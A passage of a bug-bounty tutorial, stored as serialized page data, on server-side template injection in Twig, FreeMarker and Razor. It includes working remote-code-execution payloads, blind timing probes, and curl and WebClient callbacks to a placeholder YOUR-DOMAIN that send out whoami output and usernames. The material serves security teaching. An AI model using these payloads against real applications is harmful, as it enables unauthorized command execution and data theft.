confirmation:",[189,1344,1346],{"code":1345,"language":1124,"meta":193,"className":194,"style":193},"{{[\"sleep 5\"]|filter(\"system\")}}\n",[196,1347,1348],{},[199,1349,1350,1352,1354,1356,1358,1360,1362,1364,1366,1368,1370,1372],{"class":201,"line":202},[199,1351,1201],{"class":209},[199,1353,1204],{"class":455},[199,1355,702],{"class":459},[199,1357,1204],{"class":455},[199,1359,1211],{"class":209},[199,1361,1214],{"class":406},[199,1363,1218],{"class":1217},[199,1365,547],{"class":209},[199,1367,1204],{"class":455},[199,1369,1225],{"class":459},[199,1371,1204],{"class":455},[199,1373,720],{"class":209},[44,1375,1376,1377,1379],{},"Executes the ",[196,1378,766],{}," command for 5 seconds. Response time delays confirm execution.",[265,1381,1383],{"id":1382},"oob-exploitation-in-twig",[64,1384,1385],{},"OOB Exploitation in Twig",[44,1387,1388],{},"DNS callback:",[189,1390,1392],{"code":1391,"language":1124,"meta":193,"className":194,"style":193},"{{[\"nslookup YOUR-DOMAIN\"]|filter(\"system\")}}\n",[196,1393,1394],{},[199,1395,1396,1398,1400,1402,1404,1406,1408,1410,1412,1414,1416,1418],{"class":201,"line":202},[199,1397,1201],{"class":209},[199,1399,1204],{"class":455},[199,1401,822],{"class":459},[199,1403,1204],{"class":455},[199,1405,1211],{"class":209},[199,1407,1214],{"class":406},[199,1409,1218],{"class":1217},[199,1411,547],{"class":209},[199,1413,1204],{"class":455},[199,1415,1225],{"class":459},[199,1417,1204],{"class":455},[199,1419,720],{"class":209},[44,1421,1422],{},"HTTP callback:",[189,1424,1426],{"code":1425,"language":1124,"meta":193,"className":194,"style":193},"{{[\"curl http:\u002F\u002FYOUR-DOMAIN\"]|filter(\"shell_exec\")}}\n",[196,1427,1428],{},[199,1429,1430,1432,1434,1436,1438,1440,1442,1444,1446,1448,1451,1453],{"class":201,"line":202},[199,1431,1201],{"class":209},[199,1433,1204],{"class":455},[199,1435,880],{"class":459},[199,1437,1204],{"class":455},[199,1439,1211],{"class":209},[199,1441,1214],{"class":406},[199,1443,1218],{"class":1217},[199,1445,547],{"class":209},[199,1447,1204],{"class":455},[199,1449,1450],{"class":459},"shell_exec",[199,1452,1204],{"class":455},[199,1454,720],{"class":209},[44,1456,1457],{},"Data exfiltration:",[189,1459,1461],{"code":1460,"language":1124,"meta":193,"className":194,"style":193},"{{[\"curl http:\u002F\u002FYOUR-DOMAIN\u002F$(whoami)\"]|filter(\"shell_exec\")}}\n",[196,1462,1463],{},[199,1464,1465,1467,1469,1471,1473,1475,1477,1479,1481,1483,1485,1487],{"class":201,"line":202},[199,1466,1201],{"class":209},[199,1468,1204],{"class":455},[199,1470,938],{"class":459},[199,1472,1204],{"class":455},[199,1474,1211],{"class":209},[199,1476,1214],{"class":406},[199,1478,1218],{"class":1217},[199,1480,547],{"class":209},[199,1482,1204],{"class":455},[199,1484,1450],{"class":459},[199,1486,1204],{"class":455},[199,1488,720],{"class":209},[44,1490,1491],{},"The same OOB principles apply, just with Twig-specific syntax.",[60,1493,1495],{"id":1494},"freemarker-exploitation-java",[64,1496,1497],{},"FreeMarker Exploitation (Java)",[44,1499,1500],{},"FreeMarker dominates Java template engine usage, appearing in Spring Boot applications and enterprise systems.",[265,1502,1504],{"id":1503},"detection-1",[64,1505,385],{},[44,1507,1508],{},"FreeMarker uses dollar-sign syntax:",[189,1510,1513],{"code":1511,"language":1512,"meta":193,"className":194,"style":193},"${7*7}\n","java",[196,1514,1515],{},[199,1516,1517,1520,1523,1525,1527,1529],{"class":201,"line":202},[199,1518,1519],{"class":205},"$",[199,1521,1522],{"class":209},"{",[199,1524,403],{"class":402},[199,1526,407],{"class":406},[199,1528,403],{"class":402},[199,1530,1531],{"class":209},"}\n",[44,1533,1141,1534],{},[196,1535,418],{},[44,1537,1538],{},"The dollar sign prefix distinguishes FreeMarker from other engines. This is purely a syntax convention-different engines make different design choices for their expression delimiters.",[265,1540,1542],{"id":1541},"achieving-rce",[64,1543,1544],{},"Achieving RCE",[189,1546,1548],{"code":1547,"language":1512,"meta":193,"className":194,"style":193},"${\"freemarker.template.utility.Execute\"?new()(\"id\")}\n",[196,1549,1550],{},[199,1551,1552,1554,1556,1558,1561,1563,1566,1569,1572],{"class":201,"line":202},[199,1553,1519],{"class":205},[199,1555,1522],{"class":209},[199,1557,1204],{"class":455},[199,1559,1560],{"class":459},"freemarker.template.utility.Execute",[199,1562,1204],{"class":455},[199,1564,1565],{"class":213},"?new",[199,1567,1568],{"class":209},"()",[199,1570,1571],{"class":205},"(\"id\")",[199,1573,1531],{"class":209},[44,1575,1576],{},"Understanding the components:",[44,1578,1579,1582],{},[196,1580,1581],{},"\"freemarker.template.utility.Execute\""," - Reference the fully-qualified name of a Java class capable of executing system commands. This class is part of FreeMarker's utility package.",[44,1584,1585,1588,1589,1592],{},[196,1586,1587],{},"?new()"," - FreeMarker's built-in operator for instantiating classes. This creates a new instance of the ",[196,1590,1591],{},"Execute"," class.",[44,1594,1595,1597,1598,514],{},[196,1596,1571],{}," - Invoke the instantiated object with the command string ",[196,1599,1241],{},[44,1601,1602],{},"This is functionally equivalent to:",[189,1604,1606],{"code":1605,"language":1512,"meta":193,"className":194,"style":193},"new freemarker.template.utility.Execute().exec(\"id\");\n",[196,1607,1608],{},[199,1609,1610,1613,1616,1618,1620,1622,1625,1627,1629,1632,1634,1636,1638,1640,1642],{"class":201,"line":202},[199,1611,1612],{"class":213},"new",[199,1614,1615],{"class":205}," freemarker",[199,1617,514],{"class":209},[199,1619,174],{"class":710},[199,1621,514],{"class":209},[199,1623,1624],{"class":710},"utility",[199,1626,514],{"class":209},[199,1628,1591],{"class":1217},[199,1630,1631],{"class":209},"().",[199,1633,1298],{"class":1217},[199,1635,547],{"class":209},[199,1637,1204],{"class":455},[199,1639,552],{"class":459},[199,1641,1204],{"class":455},[199,1643,1644],{"class":209},");\n",[265,1646,1648],{"id":1647},"blind-ssti-in-freemarker",[64,1649,1650],{},"Blind SSTI in FreeMarker",[44,1652,1653],{},"Time-based:",[189,1655,1657],{"code":1656,"language":1512,"meta":193,"className":194,"style":193},"${\"freemarker.template.utility.Execute\"?new()(\"sleep 5\")}\n",[196,1658,1659],{},[199,1660,1661,1663,1665,1667,1669,1671,1673,1675,1678],{"class":201,"line":202},[199,1662,1519],{"class":205},[199,1664,1522],{"class":209},[199,1666,1204],{"class":455},[199,1668,1560],{"class":459},[199,1670,1204],{"class":455},[199,1672,1565],{"class":213},[199,1674,1568],{"class":209},[199,1676,1677],{"class":205},"(\"sleep 5\")",[199,1679,1531],{"class":209},[265,1681,1683],{"id":1682},"oob-exploitation-in-freemarker",[64,1684,1685],{},"OOB Exploitation in FreeMarker",[44,1687,1388],{},[189,1689,1691],{"code":1690,"language":1512,"meta":193,"className":194,"style":193},"${\"freemarker.template.utility.Execute\"?new()(\"nslookup YOUR-DOMAIN\")}\n",[196,1692,1693],{},[199,1694,1695,1697,1699,1701,1703,1705,1707,1709,1712,1714,1717,1719],{"class":201,"line":202},[199,1696,1519],{"class":205},[199,1698,1522],{"class":209},[199,1700,1204],{"class":455},[199,1702,1560],{"class":459},[199,1704,1204],{"class":455},[199,1706,1565],{"class":213},[199,1708,1568],{"class":209},[199,1710,1711],{"class":205},"(\"nslookup YOUR",[199,1713,1075],{"class":406},[199,1715,1716],{"class":205},"DOMAIN",[199,1718,1204],{"class":455},[199,1720,1721],{"class":459},")}\n",[44,1723,1422],{},[189,1725,1727],{"code":1726,"language":1512,"meta":193,"className":194,"style":193},"${\"freemarker.template.utility.Execute\"?new()(\"curl http:\u002F\u002FYOUR-DOMAIN\")}\n",[196,1728,1729],{},[199,1730,1731,1733,1735,1737,1739,1741,1743,1745,1748,1751],{"class":201,"line":202},[199,1732,1519],{"class":205},[199,1734,1522],{"class":209},[199,1736,1204],{"class":455},[199,1738,1560],{"class":459},[199,1740,1204],{"class":455},[199,1742,1565],{"class":213},[199,1744,1568],{"class":209},[199,1746,1747],{"class":205},"(\"curl http",[199,1749,1750],{"class":213},":",[199,1752,1754],{"class":1753},"sy60D","\u002F\u002FYOUR-DOMAIN\")}\n",[44,1756,1457],{},[189,1758,1760],{"code":1759,"language":1512,"meta":193,"className":194,"style":193},"${\"freemarker.template.utility.Execute\"?new()(\"curl http:\u002F\u002FYOUR-DOMAIN\u002F`whoami`\")}\n",[196,1761,1762],{},[199,1763,1764,1766,1768,1770,1772,1774,1776,1778,1780,1782],{"class":201,"line":202},[199,1765,1519],{"class":205},[199,1767,1522],{"class":209},[199,1769,1204],{"class":455},[199,1771,1560],{"class":459},[199,1773,1204],{"class":455},[199,1775,1565],{"class":213},[199,1777,1568],{"class":209},[199,1779,1747],{"class":205},[199,1781,1750],{"class":213},[199,1783,1784],{"class":1753},"\u002F\u002FYOUR-DOMAIN\u002F`whoami`\")}\n",[44,1786,1787,1788,1791],{},"Note the use of backticks for command substitution instead of ",[196,1789,1790],{},"$()",". This is Bash syntax for embedding command output in strings.",[60,1793,1795],{"id":1794},"razor-exploitation-net",[64,1796,1797],{},"Razor Exploitation (.NET)",[44,1799,1800],{},"Razor powers ASP.NET Core and MVC applications, making it critical for .NET application security testing.",[265,1802,1804],{"id":1803},"detection-2",[64,1805,385],{},[44,1807,1808,1809,1812],{},"Razor uses the ",[196,1810,1811],{},"@"," symbol:",[189,1814,1817],{"code":1815,"language":1816,"meta":193,"className":194,"style":193},"@(7*7)\n","cs",[196,1818,1819],{},[199,1820,1821,1823,1825,1827,1829,1831],{"class":201,"line":202},[199,1822,1811],{"class":205},[199,1824,547],{"class":209},[199,1826,403],{"class":402},[199,1828,407],{"class":406},[199,1830,403],{"class":402},[199,1832,1833],{"class":209},")\n",[44,1835,1141,1836],{},[196,1837,418],{},[265,1839,1841],{"id":1840},"achieving-rce-1",[64,1842,1544],{},[44,1844,1845],{},"Razor exploitation requires more verbose syntax due to C# structure:",[189,1847,1849],{"code":1848,"language":1816,"meta":193,"className":194,"style":193},"@{\nvar proc = new System.Diagnostics.Process();\nproc.StartInfo.FileName = \"cmd.exe\";\nproc.StartInfo.Arguments = \"\u002Fc whoami\";\nproc.StartInfo.RedirectStandardOutput = true;\nproc.Start();\nvar output = proc.StandardOutput.ReadToEnd();\nproc.WaitForExit();\n}@output\n",[196,1850,1851,1858,1890,1919,1944,1965,1977,2001,2013],{},[199,1852,1853,1855],{"class":201,"line":202},[199,1854,1811],{"class":205},[199,1856,1857],{"class":209},"{\n",[199,1859,1861,1864,1867,1870,1873,1877,1879,1882,1884,1887],{"class":201,"line":1860},2,[199,1862,1863],{"class":406},"var",[199,1865,1866],{"class":1217}," proc",[199,1868,1869],{"class":209}," =",[199,1871,1872],{"class":406}," new",[199,1874,1876],{"class":1875},"si0RF"," System",[199,1878,514],{"class":209},[199,1880,1881],{"class":1875},"Diagnostics",[199,1883,514],{"class":209},[199,1885,1886],{"class":1875},"Process",[199,1888,1889],{"class":209},"();\n",[199,1891,1893,1896,1898,1901,1903,1906,1908,1911,1914,1916],{"class":201,"line":1892},3,[199,1894,1895],{"class":710},"proc",[199,1897,514],{"class":209},[199,1899,1900],{"class":710},"StartInfo",[199,1902,514],{"class":209},[199,1904,1905],{"class":710},"FileName",[199,1907,1869],{"class":209},[199,1909,1910],{"class":455}," \"",[199,1912,1913],{"class":459},"cmd.exe",[199,1915,1204],{"class":455},[199,1917,1918],{"class":209},";\n",[199,1920,1922,1924,1926,1928,1930,1933,1935,1937,1940,1942],{"class":201,"line":1921},4,[199,1923,1895],{"class":710},[199,1925,514],{"class":209},[199,1927,1900],{"class":710},[199,1929,514],{"class":209},[199,1931,1932],{"class":710},"Arguments",[199,1934,1869],{"class":209},[199,1936,1910],{"class":455},[199,1938,1939],{"class":459},"\u002Fc whoami",[199,1941,1204],{"class":455},[199,1943,1918],{"class":209},[199,1945,1947,1949,1951,1953,1955,1958,1960,1963],{"class":201,"line":1946},5,[199,1948,1895],{"class":710},[199,1950,514],{"class":209},[199,1952,1900],{"class":710},[199,1954,514],{"class":209},[199,1956,1957],{"class":710},"RedirectStandardOutput",[199,1959,1869],{"class":209},[199,1961,1962],{"class":213}," true",[199,1964,1918],{"class":209},[199,1966,1968,1970,1972,1975],{"class":201,"line":1967},6,[199,1969,1895],{"class":710},[199,1971,514],{"class":209},[199,1973,1974],{"class":1217},"Start",[199,1976,1889],{"class":209},[199,1978,1980,1982,1985,1987,1989,1991,1994,1996,1999],{"class":201,"line":1979},7,[199,1981,1863],{"class":406},[199,1983,1984],{"class":1217}," output",[199,1986,1869],{"class":209},[199,1988,1866],{"class":710},[199,1990,514],{"class":209},[199,1992,1993],{"class":710},"StandardOutput",[199,1995,514],{"class":209},[199,1997,1998],{"class":1217},"ReadToEnd",[199,2000,1889],{"class":209},[199,2002,2004,2006,2008,2011],{"class":201,"line":2003},8,[199,2005,1895],{"class":710},[199,2007,514],{"class":209},[199,2009,2010],{"class":1217},"WaitForExit",[199,2012,1889],{"class":209},[199,2014,2016,2019],{"class":201,"line":2015},9,[199,2017,2018],{"class":209},"}",[199,2020,2021],{"class":710},"@output\n",[44,2023,2024],{},"This payload:",[167,2026,2027,2033,2042,2045,2048,2051,2054],{},[79,2028,2029,2030,2032],{},"Creates a new ",[196,2031,1886],{}," object",[79,2034,2035,2036,2038,2039,2041],{},"Configures it to execute ",[196,2037,1913],{}," with the ",[196,2040,1939],{}," argument",[79,2043,2044],{},"Redirects standard output for capture",[79,2046,2047],{},"Starts the process",[79,2049,2050],{},"Reads the complete output",[79,2052,2053],{},"Waits for process completion",[79,2055,2056],{},"Displays the captured output",[44,2058,2059],{},"The verbosity reflects .NET's explicit process management model, contrasting with the simpler interfaces in scripting languages.",[265,2061,2063],{"id":2062},"blind-ssti-in-razor",[64,2064,2065],{},"Blind SSTI in Razor",[44,2067,1653],{},[189,2069,2071],{"code":2070,"language":1816,"meta":193,"className":194,"style":193},"@{System.Threading.Thread.Sleep(5000);}\n",[196,2072,2073],{},[199,2074,2075,2077,2079,2082,2084,2087,2089,2092,2094,2097,2099,2102],{"class":201,"line":202},[199,2076,1811],{"class":205},[199,2078,1522],{"class":209},[199,2080,2081],{"class":710},"System",[199,2083,514],{"class":209},[199,2085,2086],{"class":710},"Threading",[199,2088,514],{"class":209},[199,2090,2091],{"class":710},"Thread",[199,2093,514],{"class":209},[199,2095,2096],{"class":1217},"Sleep",[199,2098,547],{"class":209},[199,2100,2101],{"class":402},"5000",[199,2103,2104],{"class":209},");}\n",[44,2106,2107],{},"Suspends the current thread for 5000 milliseconds (5 seconds).",[265,2109,2111],{"id":2110},"oob-exploitation-in-razor",[64,2112,2113],{},"OOB Exploitation in Razor",[44,2115,1422],{},[189,2117,2119],{"code":2118,"language":1816,"meta":193,"className":194,"style":193},"@{new System.Net.WebClient().DownloadString(\"http:\u002F\u002FYOUR-DOMAIN\");}\n",[196,2120,2121],{},[199,2122,2123,2125,2127,2129,2131,2133,2136,2138,2141,2143,2146,2148,2150,2153,2155],{"class":201,"line":202},[199,2124,1811],{"class":205},[199,2126,1522],{"class":209},[199,2128,1612],{"class":406},[199,2130,1876],{"class":1875},[199,2132,514],{"class":209},[199,2134,2135],{"class":1875},"Net",[199,2137,514],{"class":209},[199,2139,2140],{"class":1875},"WebClient",[199,2142,1631],{"class":209},[199,2144,2145],{"class":1217},"DownloadString",[199,2147,547],{"class":209},[199,2149,1204],{"class":455},[199,2151,2152],{"class":459},"http:\u002F\u002FYOUR-DOMAIN",[199,2154,1204],{"class":455},[199,2156,2104],{"class":209},[44,2158,2159,2160,2162],{},"Creates a ",[196,2161,2140],{}," instance and performs an HTTP GET request to your domain.",[44,2164,1457],{},[189,2166,2168],{"code":2167,"language":1816,"meta":193,"className":194,"style":193},"@{\nvar user = System.Environment.UserName;\nnew System.Net.WebClient().DownloadString(\"http:\u002F\u002FYOUR-DOMAIN\u002F\" + user);\n}\n",[196,2169,2170,2176,2199,2233],{},[199,2171,2172,2174],{"class":201,"line":202},[199,2173,1811],{"class":205},[199,2175,1857],{"class":209},[199,2177,2178,2180,2183,2185,2187,2189,2192,2194,2197],{"class":201,"line":1860},[199,2179,1863],{"class":406},[199,2181,2182],{"class":1217}," user",[199,2184,1869],{"class":209},[199,2186,1876],{"class":710},[199,2188,514],{"class":209},[199,2190,2191],{"class":710},"Environment",[199,2193,514],{"class":209},[199,2195,2196],{"class":710},"UserName",[199,2198,1918],{"class":209},[199,2200,2201,2203,2205,2207,2209,2211,2213,2215,2217,2219,2221,2224,2226,2229,2231],{"class":201,"line":1892},[199,2202,1612],{"class":406},[199,2204,1876],{"class":1875},[199,2206,514],{"class":209},[199,2208,2135],{"class":1875},[199,2210,514],{"class":209},[199,2212,2140],{"class":1875},[199,2214,1631],{"class":209},[199,2216,2145],{"class":1217},[199,2218,547],{"class":209},[199,2220,1204],{"class":455},[199,2222,2223],{"class":459},"http:\u002F\u002FYOUR-DOMAIN\u002F",[199,2225,1204],{"class":455},[199,2227,2228],{"class":406}," +",[199,2230,2182],{"class":710},[199,2232,1644],{"class":209},[199,2234,2235],{"class":201,"line":1921},[199,2236,1531],{"class":209},[44,2238,2239],{},"Retrieves the current username and sends it in the URL path to your server.",[60,2241,2243],{"id":2242},"polyglot-payloads-and-testing-methodology",[64,2244,2245],{},"Polyglot Payloads and Testing Methodology",[44,2247,2248],{},"In real-world testing, you rarely know which template engine you're targeting initially. Polyglot payloads and systematic methodology solve this problem.",[265,2250,2252],{"id":2251},"universal-polyglot",[64,2253,2254],{},"Universal Polyglot",[189,2256,2259],{"code":2257,"language":2258,"meta":193},"${{\u003C%[%'\"}}%\\\n","text",[196,2260,2257],{},[44,2262,2263],{},"This payload contains syntax elements from multiple template engines:",[76,2265,2266,2272,2278,2284],{},[79,2267,2268,2271],{},[196,2269,2270],{},"${{"," - Matches FreeMarker, Velocity",[79,2273,2274,2277],{},[196,2275,2276],{},"\u003C%"," - Matches ERB (Ruby), JSP",[79,2279,2280,2283],{},[196,2281,2282],{},"[%"," - Matches others",[79,2285,2286],{},"Quotes and special characters to confuse parsers",[44,2288,2289],{},"Different engines parse this differently, producing distinct error messages or behaviors that reveal their identity.",[265,2291,2293],{"id":2292},"systematic-testing-approach",[64,2294,2295],{},"Systematic Testing Approach",[44,2297,2298,2301,2302,2305,2306,2305,2309,2312],{},[64,2299,2300],{},"Step 1: Detect SSTI"," Use basic mathematical expressions (",[196,2303,2304],{},"{{7*7}}",", ",[196,2307,2308],{},"${7*7}",[196,2310,2311],{},"@(7*7)",") to confirm template processing.",[44,2314,2315,2318,2319,2322],{},[64,2316,2317],{},"Step 2: Fingerprint Engine"," Apply type coercion tests (",[196,2320,2321],{},"{{7*'7'}}",") to identify the specific engine and underlying language.",[44,2324,2325,2328],{},[64,2326,2327],{},"Step 3: Craft Engine-Specific Exploit"," Use the appropriate RCE payload for the identified engine.",[44,2330,2331,2334],{},[64,2332,2333],{},"Step 4: Handle Blind Scenarios"," If output isn't visible, employ time-based or OOB techniques.",[44,2336,2337,2340],{},[64,2338,2339],{},"Step 5: Bypass Filters"," When basic payloads are blocked, use character encoding, alternative syntax, or creative exploitation techniques.",[265,2342,2344],{"id":2343},"the-role-of-automation",[64,2345,2346],{},"The Role of Automation",[44,2348,2349,2350,2305,2353,2356,2357,2360],{},"Tools like ",[196,2351,2352],{},"tplmap",[196,2354,2355],{},"sstimap",", and ",[196,2358,2359],{},"Tinja"," automate the first three steps effectively. They can:",[76,2362,2363,2366,2369],{},[79,2364,2365],{},"Detect SSTI presence",[79,2367,2368],{},"Identify the template engine",[79,2370,2371],{},"Execute basic exploitation payloads",[44,2373,2374],{},"However, automated tools have limitations:",[76,2376,2377,2380,2383,2386],{},[79,2378,2379],{},"They struggle with custom filters and WAFs",[79,2381,2382],{},"They cannot adapt to unusual configurations",[79,2384,2385],{},"They miss context-specific vulnerabilities",[79,2387,2388],{},"They lack creativity in exploit development",[44,2390,2391],{},"Manual testing becomes essential when you encounter:",[76,2393,2394,2397,2400,2403],{},[79,2395,2396],{},"Complex filter bypass requirements",[79,2398,2399],{},"Blind SSTI requiring OOB techniques",[79,2401,2402],{},"Custom template engine configurations",[79,2404,2405],{},"Novel exploitation chains",[44,2407,2408],{},"Tools accelerate standard testing. Human expertise handles edge cases and advanced scenarios. The combination is most effective.",[60,2410,2412],{"id":2411},"where-to-find-ssti-vulnerabilities",[64,2413,2414],{},"Where to Find SSTI Vulnerabilities",[44,2416,2417],{},"SSTI vulnerabilities appear in unexpected places beyond obvious user input fields.",[265,2419,2421],{"id":2420},"pdf-and-document-generators",[64,2422,2423],{},"PDF and Document Generators",[44,2425,2426],{},"Applications generating invoices, reports, receipts, or certificates often use template engines to create formatted documents. Any field that appears in the generated PDF is potentially vulnerable. Test:",[76,2428,2429,2432,2435,2438],{},[79,2430,2431],{},"Invoice line items",[79,2433,2434],{},"Customer names and addresses",[79,2436,2437],{},"Custom messages or notes",[79,2439,2440],{},"Report titles and descriptions",[265,2442,2444],{"id":2443},"email-template-systems",[64,2445,2446],{},"Email Template Systems",[44,2448,2449],{},"Email generation is a prime SSTI target:",[76,2451,2452,2455,2458,2461,2464],{},[79,2453,2454],{},"Contact form submissions",[79,2456,2457],{},"Password reset notifications",[79,2459,2460],{},"Order confirmations",[79,2462,2463],{},"Newsletter systems",[79,2465,2466],{},"Custom notification messages",[44,2468,2469],{},"If your input appears in email body or subject lines, test for template injection.",[265,2471,2473],{"id":2472},"error-messages",[64,2474,2475],{},"Error Messages",[44,2477,2478,2479,2482],{},"Some applications include user input in error messages displayed to users. Patterns like \"Sorry, we couldn't find ",[199,2480,2481],{},"YOUR_INPUT","\" might be template-driven. Test error-triggering inputs for SSTI.",[265,2484,2486],{"id":2485},"api-response-formatting",[64,2487,2488],{},"API Response Formatting",[44,2490,2491],{},"REST APIs and GraphQL endpoints sometimes use templates to format responses. Test:",[76,2493,2494,2497,2500],{},[79,2495,2496],{},"Custom field names in API requests",[79,2498,2499],{},"Filter parameters",[79,2501,2502],{},"Search queries that appear in response metadata",[265,2504,2506],{"id":2505},"administrative-interfaces",[64,2507,2508],{},"Administrative Interfaces",[44,2510,2511],{},"Admin panels often provide template customization:",[76,2513,2514,2517,2520,2523],{},[79,2515,2516],{},"Dashboard widget configuration",[79,2518,2519],{},"Report builder interfaces",[79,2521,2522],{},"Notification template editors",[79,2524,2525],{},"Custom email\u002FSMS template systems",[44,2527,2528],{},"These features explicitly expose template functionality, making them high-value targets.",[265,2530,2532],{"id":2531},"less-obvious-locations",[64,2533,2534],{},"Less Obvious Locations",[76,2536,2537,2540,2543,2546,2549],{},[79,2538,2539],{},"Logging systems that format log messages",[79,2541,2542],{},"Chat or messaging systems with formatted output",[79,2544,2545],{},"Calendar event descriptions",[79,2547,2548],{},"Ticket or issue tracking systems",[79,2550,2551],{},"CRM custom field rendering",[44,2553,2554],{},"The key insight: any feature that combines user input with formatted output potentially uses a template engine.",[60,2556,2558],{"id":2557},"conclusion",[64,2559,2560],{},"Conclusion",[44,2562,2563],{},"Server-Side Template Injection represents a critical vulnerability class that continues to affect modern applications. However, effective exploitation requires more than payload lists and automated tools-it demands deep understanding of template engine internals and underlying programming language features.",[2565,2566,2567],"style",{},"html pre.shiki code .sG2Fq, html code.shiki .sG2Fq{--shiki-default:#DBD7CAEE;--shiki-light:#393A34}html pre.shiki code .somML, html code.shiki .somML{--shiki-default:#666666;--shiki-light:#999999}html pre.shiki code .sR8n-, html code.shiki .sR8n-{--shiki-default:#4D9375;--shiki-light:#1E754F}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .light .shiki span {color: var(--shiki-light);background: var(--shiki-light-bg);font-style: var(--shiki-light-font-style);font-weight: var(--shiki-light-font-weight);text-decoration: var(--shiki-light-text-decoration);}html.light .shiki span {color: var(--shiki-light);background: var(--shiki-light-bg);font-style: var(--shiki-light-font-style);font-weight: var(--shiki-light-font-weight);text-decoration: var(--shiki-light-text-decoration);}html pre.shiki code .sUQhE, html code.shiki .sUQhE{--shiki-default:#4C9A91;--shiki-light:#2F798A}html pre.shiki code .sfIIG, html code.shiki .sfIIG{--shiki-default:#CB7676;--shiki-light:#AB5959}html pre.shiki code .sy_C3, html code.shiki .sy_C3{--shiki-default:#C98A7D77;--shiki-light:#B5695977}html pre.shiki code .sRRDT, html code.shiki .sRRDT{--shiki-default:#C98A7D;--shiki-light:#B56959}html pre.shiki code .s6_DI, html code.shiki .s6_DI{--shiki-default:#B8A965;--shiki-light:#998418}html pre.shiki code .snInM, html code.shiki .snInM{--shiki-default:#BD976A;--shiki-light:#B07D48}html pre.shiki code .swzfi, html code.shiki .swzfi{--shiki-default:#80A665;--shiki-light:#59873A}html pre.shiki code .se4ZP, html code.shiki .se4ZP{--shiki-default:#C99076;--shiki-light:#A65E2B}html pre.shiki code .sy60D, html code.shiki .sy60D{--shiki-default:#758575DD;--shiki-light:#A0ADA0}html pre.shiki code .si0RF, html code.shiki .si0RF{--shiki-default:#5DA994;--shiki-light:#2E8F82}",{"title":193,"searchDepth":1892,"depth":1892,"links":2569},[2570,2571,2574,2577,2585,2592,2598,2604,2609,2617],{"id":62,"depth":1860,"text":66},{"id":156,"depth":1860,"text":159,"children":2572},[2573],{"id":267,"depth":1892,"text":270},{"id":299,"depth":1860,"text":302,"children":2575},[2576],{"id":337,"depth":1892,"text":340},{"id":373,"depth":1860,"text":376,"children":2578},[2579,2580,2581,2582,2583,2584],{"id":382,"depth":1892,"text":385},{"id":433,"depth":1892,"text":436},{"id":493,"depth":1892,"text":496},{"id":648,"depth":1892,"text":651},{"id":773,"depth":1892,"text":776},{"id":960,"depth":1892,"text":963},{"id":1106,"depth":1860,"text":1109,"children":2586},[2587,2588,2589,2590,2591],{"id":1115,"depth":1892,"text":1118},{"id":1185,"depth":1892,"text":1188},{"id":1262,"depth":1892,"text":1265},{"id":1336,"depth":1892,"text":1339},{"id":1382,"depth":1892,"text":1385},{"id":1494,"depth":1860,"text":1497,"children":2593},[2594,2595,2596,2597],{"id":1503,"depth":1892,"text":385},{"id":1541,"depth":1892,"text":1544},{"id":1647,"depth":1892,"text":1650},{"id":1682,"depth":1892,"text":1685},{"id":1794,"depth":1860,"text":1797,"children":2599},[2600,2601,2602,2603],{"id":1803,"depth":1892,"text":385},{"id":1840,"depth":1892,"text":1544},{"id":2062,"depth":1892,"text":2065},{"id":2110,"depth":1892,"text":2113},{"id":2242,"depth":1860,"text":2245,"children":2605},[2606,2607,2608],{"id":2251,"depth":1892,"text":2254},{"id":2292,"depth":1892,"text":2295},{"id":2343,"depth":1892,"text":2346},{"id":2411,"depth":1860,"text":2414,"children":2610},[2611,2612,2613,2614,2615,2616],{"id":2420,"depth":1892,"text":2423},{"id":2443,"depth":1892,"text":2446},{"id":2472,"depth":1892,"text":2475},{"id":2485,"depth":1892,"text":2488},{"id":2505,"depth":1892,"text":2508},{"id":2531,"depth":1892,"text":2534},{"id":2557,"depth":1860,"text":2560},[2619,2620],"Bug Bounty","Penetration Testing","\u002Fimages\u002Fblog\u002Fssti-from-input-to-rce\u002Fssti-from-input-to-rce.webp","2025-12-04","Server-side template injection from first principles: how template engines work, where they break, and Jinja2 exploitation from input to RCE.","md",{},"\u002Fssti-from-input-to-rce",null,{"title":35,"description":2623},"ssti-from-input-to-rce","2025-12-14","rkX_xA4vZfobCdEgzyCCZ8MIsk_wz50ng4lCL7rulOY",{"older":2633,"newer":2638,"total":2642},{"slug":2634,"title":2635,"date":2636,"position":2637},"the-bug-bounty-report-blueprint-triagers-dont-ignore","The Bug Bounty Report Blueprint Triagers Don’t Ignore","2025-11-26",13,{"slug":2639,"title":2640,"date":2630,"position":2641},"client-side-01-postmessage-bugs","Client Side 01: postMessage Bugs",11,68,{"id":42,"title":35,"published":2644,"url":2645,"description":2646,"durationSeconds":2647,"viewCount":2648,"thumbnail":2649,"thumbnailSrcset":2650},"2025-12-14T19:00:27Z","https:\u002F\u002Fwww.youtube.com\u002Fwatch?v=X5J3I5camCA","In this episode, we are taking SSTI from something people copy payloads for to something you actually understand. Server Side Template Injection is one of the most dangerous web vulnerabilities, but most hunters only memorize syntax instead of learning how the engines work.",1649,2618,"\u002Fimages\u002Fvideos\u002FX5J3I5camCA-800.webp","\u002Fimages\u002Fvideos\u002FX5J3I5camCA-800.webp 800w, \u002Fimages\u002Fvideos\u002FX5J3I5camCA-1280.webp 1280w",{"left":12,"top":12,"width":13,"height":13,"rotate":12,"vFlip":14,"hFlip":14,"body":2652},"\u003Cg fill=\"none\" stroke=\"currentColor\" stroke-linecap=\"round\" stroke-linejoin=\"round\" stroke-width=\"2\">\u003Cpath d=\"M7 9.667A2.667 2.667 0 0 1 9.667 7h8.666A2.667 2.667 0 0 1 21 9.667v8.666A2.667 2.667 0 0 1 18.333 21H9.667A2.667 2.667 0 0 1 7 18.333z\"\u002F>\u003Cpath d=\"M4.012 16.737A2 2 0 0 1 3 15V5c0-1.1.9-2 2-2h10c.75 0 1.158.385 1.5 1\"\u002F>\u003C\u002Fg>",1791942281232]